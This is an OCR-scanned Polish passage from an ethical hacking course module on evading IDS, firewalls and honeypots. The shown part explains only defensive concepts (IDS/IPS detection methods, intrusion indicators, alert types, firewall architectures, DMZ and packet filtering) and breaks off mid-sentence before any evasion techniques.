Unikanie IDS, firewalli i Honeypotéw
Cele ksztatcenia

Powszechne korzystanie z Internetu w Swiecie biznesu ogdlnie zwiekszyto wykorzystanie sieci.
Organizacje stosujg rozne srodki bezpieczenstwa sieci, takie jak zapory ogniowe, systemy wykrywania
wtaman (IDS), systemy zapobiegania wtamaniom (IPS) i ,,honeypots”, aby chroni¢ swoje sieci. Sieci sg
najbardziej preferowanym celem hakeréw do naruszania bezpieczenstwa organizacji, a napastnicy
wcigz znajdujg nowe sposoby na obejscie srodkow bezpieczenstwa sieci i atakowanie tych celéw. Ten
modut zapewnia gteboki wglad w rdzne technologie bezpieczeristwa sieci, takie jak IDS, IPS, zapory
ogniowe i honeypoty. Wyjasnia dziatanie tych komponentdw, a takze rézne techniki stosowane przez
atakujgcych w celu ich obejscia. Ponadto opisuje srodki zaradcze niezbedne do zapobiegania takim
atakom.

Koncepcje IDS, IPS, Firewall i Honeypot

Etyczni hakerzy powinni mie¢ pojecie o funkgji, roli, rozmieszczeniu i projekcie zapdr ogniowych, IDS,
IPS i honeypotéw w celu ochrony sieci organizacji, rozumiejgc, w jaki sposdb atakujacy unika takich
srodkow bezpieczenstwa. Ta sekcja zawiera przeglad tych podstawowych pojeé.

System wykrywania wtaman (IDS)

System wykrywania wtaman (IDS) to oprogramowanie zabezpieczajgce lub urzadzenie sprzetowe
uzywane do monitorowania, wykrywania i ochrony sieci lub systemdéw przed ztosliwymi dziataniami;
zaalarmuje odpowiedni personel ochrony natychmiast po wykryciu wtaman. IDS sg niezwykle
przydatne, poniewaz monitorujg ruch przychodzacy/wychodzacy z sieci i stale sprawdzajg podejrzane
dziatania w celu wykrycia naruszenia bezpieczenstwa sieci lub systemu. W szczegdlnosci sprawdzajg
ruch pod katem sygnatur pasujgcych do znanych wzorcéw wtaman i alarmuja, gdy zostanie wykryta
zgodnos$é. IDS mozna podzieli¢ na aktywne i pasywne IDS w zaleznosci od ich funkcjonalnosci. Pasywny
IDS zazwyczaj wykrywa tylko wtamania, podczas gdy aktywny IPS nie tylko wykrywa wtamania do sieci,
ale takze im zapobiega.

Gtowne funkcje IDS:

System IDS gromadozi i analizuje informacje z komputera lub sieci w celu zidentyfikowania mozliwych
naruszen polityki bezpieczenistwa, w tym nieautoryzowanego dostepu, a takze naduzyc. IDS jest
rowniez okreslany jako ,sniffer pakietow”, ktdry przechwytuje pakiety przesytane przez rézne media i
protokoty komunikacyjne, zwykle TCP/IP. Pakiety sg analizowane po ich przechwyceniu. IDS ocenia
ruch pod katem podejrzanych wtaman i uruchamia alarm po wykryciu takich wtaman.

Gdzie w sieci znajduje sie IDS

Jednym z najczestszych miejsc wdrazania systemu IDS jest blisko zapory. W zaleznosci od ruchu, ktéry
ma by¢ monitorowany, IDS jest umieszczany na zewnatrz/wewnatrz zapory, aby monitorowacé
podejrzany ruch pochodzacy z zewngtrz/wewnatrz sieci. Po umieszczeniu w srodku IDS bedzie idealny,
jesli znajduje sie w poblizu DMZ; jednak najlepszg praktyka jest stosowanie ochrony warstwowej
poprzez wdrozenie jednego IDS przed zaporg ogniowg, a drugiego za zaporg ogniowg w sieci. Przed
wdrozeniem systemu IDS nalezy przeanalizowaé topologie sieci, zrozumie¢, w jaki sposdb ruch
przeptywa do i z zasobow, ktérych atakujgcy moze uzyé, aby uzyska¢ dostep do sieci, oraz
zidentyfikowaé krytyczne komponenty, ktére bedg potencjalnymi celami réznych atakéw na sie¢. Po
ustaleniu pozycji IDS w sieci, IDS musi zostaé skonfigurowany, aby zmaksymalizowaé efekt ochrony
sieci.



Jak dziata IDS

Gtéwnym celem IDS jest zapewnienie monitorowania w czasie rzeczywistym i wykrywania wtaman.
Ponadto reaktywne IDS (i IPS) mogg przechwytywad, reagowac i/lub zapobiegaé wtamaniom. IDS dziata
w nastepujacy sposoéb:

* IDS posiada czujniki do wykrywania ztosliwych podpiséw w pakietach danych oraz niektére
zaawansowane IDS obejmujg wykrywanie aktywnosci behawioralnej w celu wykrycia ztosliwego
zachowania w ruchu drogowym. Nawet jesli sygnatury pakietdw nie pasujg idealnie do sygnatur w
bazie sygnatur IDS, system wykrywania aktywnosci moze ostrzega¢ administratoréw o mozliwych
atakach.

*)edli podpis jest zgodny, IDS wykonuje predefiniowane dziatania, takie jak zakonczenie potaczenia,
zablokowanie adresu IP, porzucenie pakietu i/lub wywotanie alarmu w celu powiadomienia
administratora.

* Gdy podpis pasuje, wykrywanie anomalii zostanie pominiete; w przeciwnym razie czujnik moze
analizowa¢ wzorce ruchu w poszukiwaniu anomalii.

* Gdy pakiet pomyslnie przejdzie wszystkie testy, IDS przekaze go do sieci.
Jak IDS wykrywa wtamanie?

System IDS wykorzystuje trzy metody wykrywania wtaman w sieci.
Rozpoznawanie podpisu

Rozpoznawanie podpisdw, znane rdéwniez jako wykrywanie niewtasciwego uzycia, prébuje
zidentyfikowaé zdarzenia wskazujgce na naduzycie systemu lub sieci. Technika ta obejmuje najpierw
tworzenie modeli mozliwych wtaman, a nastepnie poréwnywanie tych modeli z nadchodzgcymi
zdarzeniami w celu podjecia decyzji o wykryciu. Sygnatury dla IDS powstaty przy zatozeniu, ze model
musi wykry¢ atak bez zaktdcania normalnego ruchu w systemie. Tylko ataki powinny pasowac do
modelu; w przeciwnym razie mogg wystgpic fatszywe alarmy.

o Wykrywanie wtaman oparte na sygnaturach poréwnuje przychodzace lub wychodzgce pakiety
sieciowe z binarnymi sygnaturami znanych atakéw przy uzyciu prostych technik dopasowywania
wzorcoéw w celu wykrywania wtaman. Atakujgcy moga zdefiniowac podpis binarny dla okreslonej czesci
pakietu, na przyktad flagi TCP.

o Rozpoznawanie sygnatur moze wykrywaé znane ataki. Istnieje jednak mozliwo$é, ze inne
nieszkodliwe pakiety zawierajg te samg sygnature, co spowoduje wyzwolenie alarmu fatszywie
pozytywnego.

o Niewtasciwe podpisy mogg powodowac fatszywe alarmy. Aby wykry¢ naduzycia, wymagana jest
ogromna liczba podpiséw. Im wiecej sygnatur, tym wieksze sg szanse na wykrycie atakéw przez IDS;
jednak ruch moze nieprawidtowo pasowad do sygnatur, co utrudnia dziatanie systemu.

o Duza ilos¢ danych sygnatur wymaga wiekszej przepustowosci sieci. IDS pordéwnuje sygnatury
pakietéw danych z sygnaturami w bazie sygnatur. Zwiekszenie liczby sygnatur w bazie danych moze
spowodowac porzucenie niektérych pakietéw.

o Nowe ataki wirusdw, takie jak URSNIF i VIRLOCK, spowodowaty konieczno$¢ stosowania wielu
sygnatur dla pojedynczego ataku. Zmiana pojedynczego bitu w niektdrych ciggach ataku moze



uniewazni¢ podpis wygenerowany dla tego ataku. Dlatego do wykrycia podobnego ataku potrzebne sg
zupetnie nowe sygnatury.

o Pomimo problemdw z IDS opartym na sygnaturach, takie systemy sg popularne i dziatajg dobrze, jesli
sg poprawnie skonfigurowane i $cisle monitorowane.

Wykrywanie anomalii

Wykrywanie anomalii lub ,wykrywanie nieuzywania” rézni sie od rozpoznawania sygnatur.
Wykrywanie anomalii obejmuje baze danych anomalii. Anomalia jest wykrywana, gdy zdarzenie ma
miejsce poza progiem tolerancji normalnego ruchu. Dlatego kazde odstepstwo od regularnego
stosowania jest atakiem. Wykrywanie anomalii wykrywa wtamania na podstawie statych cech
behawioralnych uzytkownikéw i komponentéw systemu komputerowego. Ustanowienie modelu
normalnego uzytkowania jest najtrudniejszym krokiem w tworzeniu detektora anomalii.

o W tradycyjnej metodzie wykrywania anomalii przechowywane sg niezbedne dane do sprawdzania
zmian w ruchu sieciowym. Jednak w rzeczywistosci ruch sieciowy jest nieprzewidywalny i istnieje zbyt
wiele odchylen statystycznych, przez co modele te sg nieprecyzyjne. Niektére zdarzenia oznaczone jako
anomalie moga by¢ jedynie nieprawidtowosciami w korzystaniu z sieci.

o W przypadku tego typu podejscia problemem jest niemoznos¢ doktadnego zbudowania modelu na
zwyktej sieci. Modele te nalezy wykorzysta¢ do sprawdzenia konkretnych sieci.

Wykrywanie anomalii protokotu

Wykrywanie anomalii protokotu zalezy od anomalii specyficznych dla protokotu. Identyfikuje okreslone
wady we wdrazaniu protokotu TCP/IP przez dostawcéw. Protokoty sg projektowane zgodnie ze
specyfikacjami RFC, ktdre narzucajg standardowe uzgadnianie, aby umozliwi¢ uniwersalng
komunikacje. Detektor anomalii protokotu moze identyfikowac nowe ataki.

o Istniejg nowe metody atakdw i exploity, ktdre naruszajg standardy protokotéw.

o Sygnatury ztosliwych anomalii stajg sie coraz bardziej powszechne. Natomiast protokot sieciowy jest
dobrze zdefiniowany i powoli sie zmienia. Dlatego baza sygnatur powinna by¢ czesto aktualizowana w
celu wykrywania atakow.

o Detektory anomalii protokotéw rdznig sie od tradycyjnych systemdw IDS sposobem przedstawiania
alarmoéw.

o Najlepszym sposobem przedstawienia alarmow jest wyjasnienie, ktéra czes¢ systemu panstwowego
jest zagrozona. W tym celu operatorzy IDS muszg posiadac gruntowng wiedze na temat projektowania
protokotéw.

Ogodlne oznaki wtaman

Préby wtaman do sieci, systemdéw lub systemow plikbw mozna rozpoznaé po kilku ogdlnych
wskaznikach:

Witamania do systemu plikéw

Obserwujac pliki systemowe, mozna zidentyfikowa¢ obecno$é wtamania. Pliki systemowe rejestrujg
dziatania systemu. Kazda modyfikacja lub usuniecie atrybutéw pliku lub samego pliku jest oznaka, ze
system stat sie celem ataku:



o Jesli znajdziesz nowe, nieznane pliki/programy w swoim systemie, istnieje mozliwo$¢, ze doszto do
witamania do systemu. System moze zostac¢ naruszony w takim stopniu, w jakim moze z kolei zagrozi¢
innym systemom sieciowym.

o Kiedy intruz uzyskuje dostep do systemu, probuje zwiekszy¢ uprawnienia, aby uzyskaé dostep
administracyjny. Gdy intruz uzyska uprawnienia administratora, moze zmienié uprawnienia do plikéw,
np. z tylko do odczytu na zapis.

o Niewyjasnione modyfikacje rozmiaru pliku réwniez wskazujg na atak. Upewnij sie, ze
przeanalizowates$ wszystkie pliki systemowe.

0 Obecnos¢ fatszywych plikow suid i sgid w systemie Linux, ktdre nie pasujg do gtéwnej listy plikow
suid i sgid, moze wskazywaé na atak.

0 Mozesz zidentyfikowac nieznane nazwy plikdw w katalogach, w tym pliki wykonywalne z dziwnymi
rozszerzeniami i podwdjnymi rozszerzeniami.

o Brakujace pliki sg réwniez oznaka prawdopodobnego wtamania/ataku.
Wtamania sieciowe

Podobnie, ogdlne oznaki wtaman do sieci obejmuja:

o Nagty wzrost wykorzystania przepustowosci

o Wielokrotne sondowanie dostepnych ustug na Twoich maszynach

Zadania potaczenia z adreséw IP innych niz te w zasiegu sieci, ktére sugeruja, ze nieuwierzytelniony
uzytkownik (intruz) prébuje potaczyc sie z siecig

o Powtarzajgce sie proby logowania ze zdalnych hostow

o Nagty naptyw danych dziennika, ktéry moze wskazywa¢ na préby atakéw DoS, zuzycie
przepustowosci i ataki DDoS

Witamania do systemu

Podobnie, ogdlne oznaki wtaman do systemu obejmuja:

o Nagte zmiany w dziennikach, takie jak krétkie lub niekompletne dzienniki
o Niezwykle niska wydajnos¢ systemu

o Brakujace dzienniki lub dzienniki z nieprawidtowymi uprawnieniami lub witascicielami
o Modyfikacje oprogramowania systemowego i plikéw konfiguracyjnych

o Nietypowe grafiki lub komunikaty tekstowe

o Luki w rozliczaniu systemu

o System ulega awarii lub restartuje sie

o Nieznane procesy

Rodzaje systemow wykrywania wtaman

Istniejg dwa rodzaje systeméw wykrywania wtaman:



Sieciowe systemy wykrywania wtaman

Sieciowe systemy wykrywania wtaman (NIDS) sprawdzajg kazdy pakiet wchodzacy do sieci pod katem
obecnosci anomalii i nieprawidtowych danych. Ograniczajac zapore ogniowg do odrzucania duzej liczby
pakietéw danych, NIDS doktadnie sprawdza kazdy pakiet. NIDS przechwytuje i kontroluje caty ruch.
Generuje alerty na poziomie adresu IP lub aplikacji na podstawie tresci. NIDS sg bardziej rozproszone
niz IDS oparte na hoscie. NIDS identyfikuje anomalie na poziomie routera i hosta. Audytuje informacje
zawarte w pakietach danych i rejestruje informacje o ztosliwych pakietach; ponadto przypisuje poziom
zagrozenia do kazdego ryzyka po odebraniu pakietéw danych. Poziom zagrozenia pozwala zespotowi
ds. bezpieczenstwa pozosta¢ w pogotowiu. Mechanizmy te zazwyczaj sktadajg sie z czarnej skrzynki
umieszczonej w sieci w trybie rozwigztym, nastuchujacej wzorcéw wskazujgcych na witamanie.
Wykrywa ztosliwg aktywnos¢, taka jak ataki DoS, skanowanie portéw, a nawet proby wtamania do
komputeréw poprzez monitorowanie ruchu sieciowego.

Oparte na hoscie systemy wykrywania wtaman

IDS oparty na hoscie (HIDS) analizuje zachowanie kazdego systemu. HIDS mozna zainstalowac na
dowolnym systemie, od komputera stacjonarnego po serwer. Jest bardziej wszechstronny niz NIDS.
Oprdcz wykrywania nieautoryzowanych dziatan oséb poufnych systemy oparte na hoscie sg réwniez
skuteczne w wykrywaniu nieautoryzowanych modyfikacji plikéw. HIDS koncentruje sie na
zmieniajgcych sie aspektach systemow lokalnych. Jest réwniez bardziej zorientowany na platforme, z
wiekszym naciskiem na system operacyjny Windows; niemniej jednak inne HIDS sg dostepne dla
platform UNIX. Mechanizmy te zwykle obejmujg inspekcje zdarzen, ktére wystepujg na okreslonym
hoscie. Nie sg one zbyt powszechne ze wzgledu na koszty ogdlne zwigzane z koniecznoscig
monitorowania kazdego zdarzenia systemowego.

Rodzaje alertéw IDS

System IDS generuje cztery typy alertow: prawdziwie pozytywne, fatszywie pozytywne, fatszywie
negatywne i prawdziwie negatywne.

Prawdziwie pozytywna (atak - alarm): Prawdziwie pozytywna to stan, ktory wystepuje, gdy zdarzenie
wyzwala alarm i powoduje, ze system IDS reaguje tak, jakby miat miejsce prawdziwy atak. Zdarzenie
moze byé rzeczywistym atakiem, w ktorym to przypadku osoba atakujgca prébuje naruszyc
bezpieczenstwo sieci, lub moze to byé ¢wiczenie, w ktérym to przypadku pracownicy ochrony uzywaja
narzedzi hakerskich do przetestowania segmentu sieci.

Fatszywie pozytywny (brak ataku - alert): Fatszywy alarm wystepuje, gdy zdarzenie wyzwala alarm, gdy
nie trwa zaden rzeczywisty atak. Wystepuje, gdy system IDS traktuje zwyktg aktywnosé systemu jako
atak. Fatszywe alarmy sprawiajg, ze uzytkownicy stajg sie niewrazliwi na alarmy i ostabiajg ich reakcje
na rzeczywiste zdarzenia wtaman. Podczas testowania konfiguracji systemu IDS administratorzy
uzywajg fatszywych alarméw w celu ustalenia, czy system IDS moze odrdzni¢ fatszywe alarmy od
prawdziwych atakéw.

Fatszywie negatywny (Attack - No Alert): Fatszywie negatywny to stan, ktéry pojawia sie, gdy IDS nie
reaguje na rzeczywiste zdarzenie ataku. Ten warunek jest najbardziej niebezpieczng awarig, poniewaz
celem IDS jest wykrywanie atakdéw i reagowanie na nie.

Prawdziwie negatywny (brak ataku - brak ostrzezenia): Prawdziwie negatywny to stan, ktéry pojawia
sie, gdy IDS identyfikuje czynnos¢ jako akceptowalne zachowanie, a czynnos$¢ jest akceptowalna.
Prawdziwy negatywny oznacza pomyslne zignorowanie akceptowalnego zachowania. Nie jest to
szkodliwe, poniewaz w tym przypadku IDS dziata zgodnie z oczekiwaniami.



System zapobiegania wtamaniom (IPS)

Systemy zapobiegania wtamaniom (IPS) sg uwazane za aktywne IDS, poniewaz s3 w stanie nie tylko
wykrywanie wtaman, ale takze zapobieganie im. IPS to systemy ciggtego monitorowania, ktére czesto
znajdujg sie za zaporami ogniowymi jako dodatkowa warstwa ochrony. W przeciwienistwie do DS,
ktére sg pasywne, IPS sg umieszczane w sieci, miedzy zrédtem a celem, aby aktywnie analizowac ruch
sieciowy i podejmowac zautomatyzowane decyzje dotyczgce ruchu wchodzacego do sieci.

Niektére z dziatan, ktére IPS ma wykonywad, sg nastepujace:

Generuj alerty w przypadku wykrycia nieprawidtowego ruchu w sieci

Nieustannie rejestruj dzienniki dziatan sieciowych w czasie rzeczywistym

Blokuj i filtruj ztosliwy ruch

Szybko wykrywaj i eliminuj zagrozenia, poniewaz jest on umieszczony w sieci operacyjnej
Doktadnie identyfikuj zagrozenia bez generowania fatszywych alarméw

IPS podejmuje dziatania w oparciu o okreslone reguty i zasady skonfigurowane w nim. Innymi stowy,
IPS moze identyfikowaé, rejestrowac i zapobiegac wszelkim wtamaniom lub atakom w sieci. IPS mozna
rowniez wykorzysta¢c do wykrywania krytycznych probleméw w korporacyjnych zasadach
bezpieczenstwa, takich jak notoryczne zagrozenia wewnetrzne, ztosliwi goscie sieci itp.

Klasyfikacja IPS:

Podobnie jak IDS, IPS sg réwniez podzielone na dwa typy:

IPS oparty na hoscie

Sieciowy IPS

Zalety IPS nad IDS:

W przeciwienstwie do IDS, IPS moze zaréwno blokowad, jak i odrzucaé nielegalne pakiety w sieci
IPS moze stuzy¢ do monitorowania dziatarh zachodzacych w pojedynczej organizacji

IPS moze zapobiegac wystepowaniu bezposrednich atakdw w sieci poprzez kontrolowanie natezenia
ruchu sieciowego

Zapora oghiowa

Zapora ogniowa to programowy lub sprzetowy system zlokalizowany w bramie sieciowej, ktéry chroni
zasoby sieci prywatnej przed nieautoryzowanym dostepem uzytkownikéw z innych sieci. S3 one
umieszczane na skrzyzowaniu lub bramie miedzy dwiema sieciami, zwykle siecig prywatng i siecig
publiczng, taka jak Internet. Zapory ogniowe sprawdzajg wszystkie wiadomosci wchodzace lub
wychodzace z intranetu i blokujg te, ktére nie spetniajg okreslonych kryteriéw bezpieczeristwa. Zapory
ogniowe mogg dotyczy¢ rodzaju ruchu lub adresow i portéw zrédtowych lub docelowych. Obejmuja
one zestaw narzedzi monitorujgcych przeptyw ruchu miedzy sieciami. Zapora sieciowa umieszczona na
poziomie sieci i Scisle wspdtpracujaca z routerem filtruje wszystkie pakiety sieciowe, aby okresli¢, czy
przekazac je do miejsca docelowego. Zawsze instaluj zapory ogniowe z dala od reszty sieci, aby zadne
z przychodzacych zadan nie mogto uzyskaé bezposredniego dostepu do prywatnych zasobodw
sieciowych. Odpowiednio skonfigurowana zapora chroni systemy po jednej stronie przed systemami
po drugiej stronie.



* Zapora ogniowa to mechanizm wykrywania wtaman zaprojektowany zgodnie z polityka
bezpieczenstwa organizacji. Jego ustawienia mogg ulec zmianie w celu dokonania odpowiednich zmian
w jego funkcjonalnosci.

* Zapory ogniowe mozna skonfigurowac tak, aby ograniczaty ruch przychodzacy do POP i SMTP oraz
umozliwiaty dostep do poczty e-mail. Niektdre zapory sieciowe blokujg okreslone ustugi e-mail, aby
unikna¢ spamu.

* Zapore sieciowg mozna skonfigurowaé tak, aby sprawdzata ruch przychodzacy w ,punkcie
kontrolnym”, w ktédrym przeprowadzany jest audyt bezpieczenstwa. Moze réwniez dziata¢ jako
aktywne narzedzie ,podstuchu telefonu” do identyfikowania préb potaczenia sie przez intruza z
modemami w zabezpieczone] sieci. Dzienniki zapory sktadajg sie z informacji logowania, ktoére
powiadamiajg administratora o wszystkich prébach uzyskania dostepu do réznych ustug.

* Zapora weryfikuje ruch przychodzacy i wychodzacy pod katem zgodnosci z jej regutami i dziata jako
router do przenoszenia danych miedzy sieciami. Zapora zezwala lub odrzuca zgdania dostepu wysytane
z jednej strony do ustug po drugiej stronie.

* Zidentyfikuj wszystkie préby zalogowania sie do sieci w celu audytu. Nieautoryzowane préby moga
by¢ identyfikowane przez osadzanie alarmu, ktory jest wyzwalany, gdy nieautoryzowany uzytkownik
probuje sie zalogowac. Zapory ogniowe mogag filtrowaé pakiety na podstawie adresu i rodzaju ruchu.
Rozpoznajg adresy zrodtowe i docelowe oraz numery portéw podczas filtrowania adreséw, a takze
identyfikujg rodzaje ruchu sieciowego podczas filtrowania protokotéw. Zapory mogg identyfikowac
stan i atrybuty pakietow danych.

Architektura zapory
Architektura firewalla sktada sie z nastepujacych elementéw:
Gospodarz Bastionu

Host bastionowy jest przeznaczony do obrony sieci przed atakami. Dziata jako posrednik miedzy
sieciami wewnetrznymi i zewnetrznymi. Host bastionowy to system komputerowy zaprojektowany i
skonfigurowany do ochrony zasobéw sieciowych przed atakami. Ruch wchodzacy lub wychodzacy z
sieci przechodzi przez zapore. Posiada dwa interfejsy:

o Publiczny interfejs bezposrednio podtgczony do Internetu
o Prywatny interfejs podtgczony do intranetu
Podsie¢ ekranowana

Ekranowana podsie¢ (DMZ) to chroniona sie¢ utworzona z zaporg ogniowg z dwoma lub trzema
adresami domowymi za zaporg ekranujacg i jest to termin powszechnie uzywany w odniesieniu do
strefy DMZ. W przypadku korzystania z zapory z trzema adresami domowymi podtgcz pierwszy interfejs
do Internetu, drugi do strefy DMZ, a trzeci do intranetu. Strefa DMZ odpowiada na zgdania publiczne i
nie ma zadnych hostéw, do ktérych dostep ma sie¢ prywatna. Internauci nie majg dostepu do strefy
prywatnej. Zaletg odseparowania podsieci od intranetu jest to, ze mozna odpowiedzie¢ na zadania
publiczne bez zezwalania na ruch do intranetu. Wadg zapory z trzema adresami domowymi jest to, ze
jesli zostanie naruszona, zaréwno strefa DMZ, jak i intranet mogg réwniez zostaé naruszone.
Bezpieczniejszg techniky jest uzycie wielu zapér w celu oddzielenia Internetu od strefy DMZ, a
nastepnie oddzielenie strefy DMZ od intranetu.

Zapora wieloadresowa



Zapora wieloadresowa to wezet z wieloma kartami sieciowymi, ktdry faczy sie z co najmniej dwiema
sieciami. taczy kazidy interfejs z oddzielnymi segmentami sieci logicznie i fizycznie. Zapora
wieloadresowa pomaga zwiekszy¢ wydajnos¢ i niezawodno$¢ sieci IP. Zapora wieloadresowa ma wiecej
niz trzy interfejsy, ktore umozliwiajg dalszy podziat systemédw w oparciu o okreslone cele
bezpieczenstwa organizacji. Jednak modelem zapewniajacym gtebszg ochrone jest zapora typu back-
to-back.

Strefa zdemilitaryzowana (DMZ)

W sieciach komputerowych strefa zdemilitaryzowana (DMZ) to obszar, na ktérym znajdujg sie
komputery lub mata podsie¢ umieszczona jako strefa neutralna miedzy wewnetrzng siecig danej firmy
a niezaufang siecig zewnetrzng, aby uniemozliwi¢ osobom postronnym dostep do prywatnych danych
firmy . DMZ stuzy jako bufor miedzy bezpieczng siecig wewnetrzng a niezabezpieczonym Internetem,
poniewaz dodaje warstwe bezpieczenstwa do korporacyjnej sieci LAN, uniemozliwiajgc w ten sposdb
bezposredni dostep do innych czesci sieci. Strefa DMZ jest tworzona przy uzyciu zapory z trzema lub
wiecej interfejsami sieciowymi, ktérym przypisano okres$lone role, takie jak wewnetrzna zaufana sie¢,
sie¢ DMZ lub zewnetrzna niezaufana siec (Internet). Kazda ustuga, taka jak poczta e-mail, WWW lub
FTP, ktéra zapewnia dostep uzytkownikom zewnetrznym, moze zostaé umieszczona w strefie DMZ.
Jednak serwery WWW, ktére komunikujg sie z serwerami baz danych, nie mogg znajdowac sie w strefie
DMZ, poniewaz mogtyby zapewni¢ uzytkownikom zewnetrznym bezposredni dostep do poufnych
informacji. Strefe DMZ mozna skonfigurowac na wiele sposobdw, zgodnie z okreslonymi topologiami
sieci i wymaganiami firmy.

Rodzaje zapor ogniowych
Istniejg dwa rodzaje zapdr ogniowych.
Zapory sprzetowe

Zapora sprzetowa to dedykowane urzadzenie zapory sieciowej umieszczone na obrzezach sieci. Jest
integralng czescig konfiguracji sieci i jest réwniez wbudowany w routery szerokopasmowe lub uzywany
jako samodzielny produkt. Wykorzystuje technike filtrowania pakietdw. Odczytuje nagtéwek pakietu,
aby znalezé adres Zrédtowy i docelowy, i pordwnuje je z zestawem predefiniowanych i/lub
utworzonych przez uzytkownika regut, ktére okreslajg, czy pakiet powinien zostaé przekazany dalej,
czy odrzucony. Zapora sprzetowa dziata w pojedynczym systemie lub okreslonej sieci potgczonej za
pomocg jednego interfejsu. Przyktadami zapér sprzetowych sg Cisco ASA i FortiGate. Zapory sprzetowe
chronig prywatng sie¢ lokalng. Jednak zapory sprzetowe sg drogie, a takze trudne do wdrozenia i
aktualizacji.

Zalety:

o Bezpieczenstwo: Uwaza sie, ze zapora sprzetowa wraz z systemem operacyjnym (OS) zmniejsza
ryzyko zwigzane z bezpieczeristwem i zwieksza poziom kontroli bezpieczenstwa.

o Szybko$é: zapory sprzetowe inicjujg szybsze odpowiedzi i umozliwiajg wiekszy ruch.

o Minimalna ingerencja: poniewaz zapora sprzetowa jest oddzielnym elementem sieci, umozliwia
lepsze zarzadzanie i pozwala na zamkniecie, przeniesienie lub rekonfiguracje zapory bez wiekszych
zaktdcen w sieci.

Wady:

o Drozszy niz firewall programowy,



o Trudne do wdrozenia i konfiguracji,
0 Zajmuje wiecej miejsca i wymaga okablowania.
Zapory programowe

Zapora programowa jest podobna do filtra. Znajduje sie pomiedzy zwyktg aplikacjg a komponentami
sieciowymi systemu operacyjnego. Jest bardziej przydatny dla indywidualnych uzytkownikéw
domowych i jest odpowiedni dla uzytkownikow mobilnych, ktérzy potrzebujg cyfrowego
bezpieczenstwa podczas pracy poza siecig korporacyjng. Co wiecej, jest tatwa do zainstalowania na
indywidualnym komputerze PC, notebooku lub serwerze grupy roboczej. Pomaga chroni¢ system przed
prébami nieautoryzowanego dostepu z zewnatrz i zapewnia ochrone przed codziennymi trojanami i
robakami pocztowymi. Obejmuje kontrole prywatnosci, filtrowanie stron internetowych i nie tylko.
Zapora programowa wszczepia sie w krytycznym obszarze Sciezki aplikacji/sieci. Analizuje przeptyw
danych pod katem zestawu regut. Konfiguracja zapory programowej jest prosta w poréwnaniu z zaporg
sprzetowg. Zapora programowa przechwytuje wszystkie zadania przesytane z sieci do komputera w
celu ustalenia, czy sg one prawidtowe, i chroni komputer przed atakami i nieautoryzowanym
dostepem. Obejmuje kontrole zdefiniowang przez uzytkownika, kontrole prywatnosci, filtrowanie
stron internetowych, filtrowanie tresci itp., Aby ograniczy¢ uruchamianie niebezpiecznych aplikacji w
indywidualnym systemie. Zapory programowe zuzywajg wiecej zasobdw niz zapory sprzetowe, co
zmniejsza szybkos¢ systemu. Przyktady zapdr programowych obejmujg zapory firmy Norton, McAfee i
Kaspersky.

Zalety:

o Tansze niz zapory sprzetowe,

o Idealny do uzytku osobistego lub domowego.

o tatwiejsza konfiguracja i rekonfiguracja.

Wady:

0 Zuzywa zasoby systemowe,

o Trudne do odinstalowania.

o Nieodpowiednie dla Srodowisk wymagajacych krétszych czaséw reakcji.
Technologie zapory

Zapory ogniowe sg projektowane i rozwijane przy pomocy réznych ustug zapory sieciowej. Kazda
ustuga firewalla zapewnia bezpieczenstwo w zaleznosci od swojej wydajnosci i zaawansowania. Istniejg
rézne rodzaje technologii zapér ogniowych w zaleznosci od tego, gdzie odbywa sie komunikacja, gdzie
ruch w sieci jest przechwytywany, sledzony stan itd. Biorgc pod uwage mozliwosci réznych zapoér
ogniowych, fatwo jest wybrac i umiesci¢ odpowiednig zapore ogniowa, aby jak najlepiej spetnié¢
wymagania bezpieczenstwa. Kazdy typ zapory ma swoje zalety. Organizacje majg do dyspozyc;ji kilka
technologii zapdr ogniowych, ktdre umozliwiajg wdrazanie sSrodkéw bezpieczeristwa. Czasami
technologie zapory s3 faczone z innymi technologiami w celu zbudowania innej technologii zapory.
NAT to na przyktad technologia routingu; jednak w pofaczeniu z zaporg jest uwazana za technologie
zapory. Ponizej wymieniono rézne technologie zapory:

Filtrowanie pakietéw

Bramy na poziomie obwodu



Zapora sieciowa na poziomie aplikacji
Stateful Multilayer Inspection
Serwery proxy aplikacji

Wirtualnej sieci prywatne;j

Translacja adreséw sieciowych

Ponizsza tabela podsumowuje technologie dziatajgce w kazdej warstwie OSI:

OSl Layer Firewall Technology
¢ = Virtual Private Network (VPN)
Application ) )
= Application Proxies
Presentation = Virtual Private Network (VPN)
3 = Virtual Private Network (VPN)
Session N
* (Circuit-Level Gateways
* Virtual Private Network (VPN)
Transport . :
= Packet Filtering
= Virtual Private Network (VPN)
* Network Address Translation (NAT)
Network :
=  Packet Filtering
* Stateful Multilayer Inspection
) = Virtual Private Network (VPN)
Data Link o
= Packet Filtering
Physical = Not Applicable

Poziomy bezpieczenristwa tych technologii réznig sie w zaleznosci od ich poziomu wydajnosci.
Poréwnanie tych technologii mozna przeprowadzi¢, przepuszczajgc je przez warstwe OSI miedzy
hostami. Dane przechodzg przez warstwy posrednie z warstwy wyzszej do warstwy nizszej. Kazda
warstwa dodaje dodatkowe informacje do pakietow danych. Nizsza warstwa wysyta teraz uzyskane
informacje przez siec fizyczng do wyzszych warstw, a nastepnie do miejsca docelowego.

Zapora filtrujgca pakiety

W zaporze filtrujgcej pakiety kazdy pakiet jest poréwnywany z zestawem kryteriow przed
przekazaniem. W zaleznosci od pakietu i kryteriéw, zapora moze odrzucié¢ pakiet i przestaé¢ go lub
wysta¢ wiadomos¢ do nadawcy. Reguty moga obejmowac zrédtowy i docelowy adres IP, Zzrédtowy i
docelowy numer portu oraz uzywany protokét. Dziata w warstwie internetowej modelu TCP/IP lub
warstwie sieciowej modelu OSI. Zapory ogniowe filtrujgce pakiety koncentrujg sie na pojedynczych
pakietach, analizujg informacje zawarte w nagtdwkach i okreslajg, w ktdrg strone nalezy je skierowac.
Tradycyjne filtry pakietow podejmuja te decyzje na podstawie nastepujacych informacji zawartych w
pakiecie:

e Zrédtowy adres IP: Stuzy do sprawdzania, czy pakiet pochodzi z prawidtowego zrédta. Informacje o
zrodtowym adresie IP mozna znalez¢ w nagtéwku IP pakietu.



e Adres IP miejsca docelowego: sprawdza, czy pakiet trafia do wtasciwego miejsca docelowego i czy
miejsce docelowe akceptuje tego typu pakiety. Informacje o docelowym adresie IP mozna znalezé w
nagtéwku IP pakietu.

e Port zrédtowy TCP/UDP: Stuzy do sprawdzania portu zrodtowego pakietu

e Docelowy port TCP/UDP: Uzywany do monitorowania portu docelowego pod katem ustug
dozwolonych i zabronionych.

e Bity flagi TCP: Uzywane do sprawdzania, czy pakiet ma bity SYN, ACK lub inne ustawione dla
